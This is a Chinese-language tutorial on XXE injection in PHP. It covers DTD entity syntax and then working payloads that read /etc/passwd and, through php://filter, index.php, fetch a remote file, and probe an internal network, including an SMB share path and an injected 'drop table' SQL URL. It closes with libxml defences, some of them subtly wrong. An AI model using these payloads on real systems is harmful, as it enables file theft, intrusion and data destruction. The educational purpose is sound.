0x00 前言
XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.
在XML1.0标准⾥里,XML文档结构里定义了实体(entity)这个概念.实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容.如果在这个过程中引入了”污染”源,在对XML文档处理后则可能导致信息泄漏等安全问题.
0x01 简介
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
<!DOCTYPE 根元素 [元素声明]>
<!DOCTYPE 根元素 SYSTEM "文件名">
DTD实体entity,一般分为参数实体(外部实体)和内部实体;参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀;内部实体是指用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用.
<!ENTITY 实体名称 "实体的值">
<!ENTITY 实体名称 SYSTEM "URI">
所以在XML中实体的用法如下:
ENTITY的定义语法:
<!DOCTYPE filename
[
<!ENTITY entity-name "entity-content"
]>
//这就是DTD了
定义好的ENTITY在文档中通过“&实体名;”来使用。
类似于宏定义的一种东西。
0x02 威胁
借助XXE,攻击者可以实现任意文件读取,DOS拒绝服务攻击以及代理扫描内网等.
对于不同XML解析器,对外部实体有不同处理规则,在PHP中默认处理的函数为:
xml_parse和simplexml_load
xml_parse的实现方式为expat库,默认情况不会解析外部实体,而simplexml_load默认情况下会解析外部实体,造成安全威胁.
除PHP外,在Java,Python等处理xml的组件及函数中都可能存在此问题.
0x03 语法
举一个简单的例子:
<?php
$fileread = <<<XML
<!-- validators.en.xliff -->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dropsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file://C:/phpStudy/WWW/XXE/file.ext" >]>
<methodname>&xxe;</methodname>
XML;
$data = simplexml_load_string($fileread);
print_r($data);
?>
如果要引用一个外部资源,可以借助各种协议,这里通过file://
协议引入了外部实体.
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
也可读取网站内容
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dropsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "http://byd.dropsec.xyz/robots.txt" >]>
<methodname>&xxe;</methodname>
通过上面可以用来内网探测,如果安装了expect扩展组件甚至可以用来进行内网渗透。
如果包含文件失败,可能是由于读取php等文件时文件本身包含的<等字符.可以使用Base64编码绕过,如:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dropsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>
<methodname>&xxe;</methodname>
内部实体的这支持与否也是取决于解释器的。不同的浏览器不一样,不通语言默认也不一样。所以利用比较困难。
但实际上XML外部实体的解析,和php版本并无关系,而是和编译时的libxml库版本有关。
0x04 攻击
1.拒绝服务
2.内网信息
借助各种协议如http,XXE可以协助扫描内网,可能可以访问到内网开放WEB服务的Server,并获取其他信息.
<!ELEMENT portscan SYSTEM 'http://192.168.2.1/' >
<!ELEMENT smb SYSTEM '\\192.168.2.1\c$' >
<!ELEMENT sql SYSTEM 'http://192.168.2.1/index.php?id=1;drop table myweb;#' >
3.文件读取
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dropsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodname>&xxe;</methodname>
0x05 防御
1、对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以可以提前加上:
<?php libxml_disable_entity_loader(true); ?>
2、检查所使用的底层xml解析库,默认禁止外部实体的解析.
3、对于XMLReader和DOM方式解析.
<?php
// with the XMLReader functionality:
$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);
// with the DOM functionality:
$dom = new DOMDocument();
$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);
?>